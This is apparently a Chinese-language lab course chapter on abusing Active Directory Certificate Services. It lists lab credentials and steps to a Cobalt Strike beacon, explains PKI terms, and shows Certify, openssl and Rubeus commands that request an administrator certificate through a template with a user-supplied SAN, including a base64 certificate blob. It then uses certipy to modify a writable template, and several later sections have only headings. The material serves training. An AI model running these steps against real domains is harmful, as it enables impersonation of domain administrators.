Skip to main content

ADCS的利用

在上一个章节,我们已经简单了解过了 ADCS 的概念、作用、以及简单的枚举。在这一节,我们侧重于 ADCS 相关的利用。在我们的 Lab 中,只有 Med-factory 域配置了 ADCS,我们可以在 Raven-med 森林中对 Med-factory 域的资源进行枚举。出于教学与学习目的,我们提供了 ca01stg01 主机的本地管理员凭证以及对 ADCS 服务具有特定权限的用户 med-factory\justin 的凭证。

ca01\stg01\Administrator:Passwordcert01Passwordstg01
med-factory\justin:Flower1978@#

如果有学员不太清楚如何利用这些凭证,我们可以在 CS 上运行以下步骤便可以获得 Ca01stg01 的 Beacon。

先创建一个 SMB 监听器,名为 smb。

image.png

使用 make_token 命令创建 Ca01stg01 本地管理员的令牌,使用 psexec 方法移动到 Ca01,stg01,权限等级为 SYSTEM。

image.pngimage.png

然后创建 justin 的 令牌

image.pngimage.png

尽管我们在上一章节简单介绍了 ADCS 的概念,但随着利用的展开,我们需要了解更多的名词和概念,一起来补充一下吧。


名词与概念

PKI

PKI 即公钥基础设施。PKI 是一个由硬件、软件、策略和程序组成的系统,用于创建、管理、分发、使用、存储和撤销数字证书并监督公钥加密。它主要包括证书颁发机构 (CA)、注册机构 (RA) 和证书库。通过 PKI,可以实现数据加密、身份验证、数据完整性和不可抵赖性,以确保在网络中安全地传输和存储信息。

企业 CA

Certification Authority (CA) 是颁发数字证书以建立不同系统和网络之间信任的可靠实体,企业 CA 是一种与 Active Directory 集成的证书颁发机构,以便对用户、设备、服务等进行身份验证和安全通信,可促进 PKI 基础设施的管理。

证书模板

证书模板是预定义的证书配置文件,包含了创建数字证书所需的一系列参数和属性。证书颁发机构在颁发证书时,可以根据证书模板来生成具有特定用途和设置的证书,以满足不同的安全需求和应用场景。

CSR

CSR 是一个包含公钥及申请者身份信息的文件,用于向证书颁发机构申请数字证书。当一个实体需要获得数字证书时,它会创建一个 CSR,其中包含公钥和需要加密的信息。证书颁发机构在收到 CSR 后,将验证其中的信息,并在批准后签发数字证书。

EKU

EKU 是数字证书中的一个可选扩展,用于指定证书的特定用途。通过 EKU,可以限制证书用于特定的操作,如服务器身份验证、客户端身份验证、代码签名等。这有助于提高安全性,防止证书被滥用。

SAN

Subject Alternative Names 是数字证书的扩展,可以将其他身份与同一证书相关联。 SAN 允许在单个证书中包含多个 DNS 名称、IP 地址和电子邮件地址等,从而可以将其用于各种目的或服务。 当使用多个名称访问同一服务或资源时,此功能特别有效。


枚举的回顾

我们用了 Cerfity 枚举了企业 CA,证书模板信息。企业 CA 名称为 ca01.dc03.med-factory.local\med-factory-CA01-DC03-CA

image.pngimage.png

以及存在这些模板

image.pngimage.png

这些模板中,Vuln1 Vuln2 是被刻意设计的脆弱模板。

我们使用命令 certify.exe find /vulnerable /currentuser 来寻找当前用户,即 Justin 具有特定权限的证书模板:

image.pngimage.png

image.pngimage.png

我们发现 justin (属于分组 ADCSManager)对于证书模板 Vuln1 具有注册权,对于证书模板 Vuln2 具有修改权。接下来,我们讨论如何利用它们。

 

 

攻击与利用

可被指定的 SAN

当指定的证书模板允许用户指定 SAN 的话,申请者可以提供高权限用户的用户名从而为其申请证书,进而通过证书进行认证实现模仿高权限用户/提权。回顾一下 Vuln1 模板的 msPKI-Certificate-Name-Flag 属性,值为 ENROLLEE_SUPPLIES_SUBJECT,说明 Vuln1 证书模板允许用户自行指定 SAN。

image.pngimage.png

在 CA 上,该证书模板配置如下:

image.png

我们可以使用 Certify 和 Rubeus 来利用这一配置缺陷。首先,我们使用 Certify 为域管理员用户 administrator 使用 Vuln1 模板申请证书

certify.exe request /ca:<CA> /template:<模板> /altname:<模板的高权限用户>

image.pngimage.png

image.png

将私钥以及证书一起复制并保存为 cert.pem,然后使用 openssl 将其转换为 pfx 格式,并 base64 编码后格式化输出:

root@ts:/tmp/tmp# nano cert.pem
root@ts:/tmp/tmp# openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Enter Export Password:
Verifying - Enter Export Password:
root@ts:/tmp/tmp# cat cert.pfx | base64 -w 0
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

image.png

pfx 格式的证书上传到服务器上,也可以使用 base64 编码后的内容。最后,使用 Rubeus 通过该证书申请高权限用户的 TGT。

rubeus.exe asktgt /user:<模仿的用户> /certificate:<证书文件或内容> /password:<密码> /nowrap

 image.png

 

可写的证书模板

对于 Vuln2 模板,我们不可以指定任意的用户名,但是用户 justin 对其具有修改权,那么思路便很明确,修改该证书模板,使其与 Vuln1 一样,用户可以指定任意用户名,然后后面的步骤自然是一致的。

certipy template -template <模板名称> -u <用户> -p <密码> -dc-ip <DC IP> -target <目标地址>

 image.png

 

CVE-2022-26923


基于ADCS Web 终端的 NTLM 中继



持久化

用户持久化


主机持久化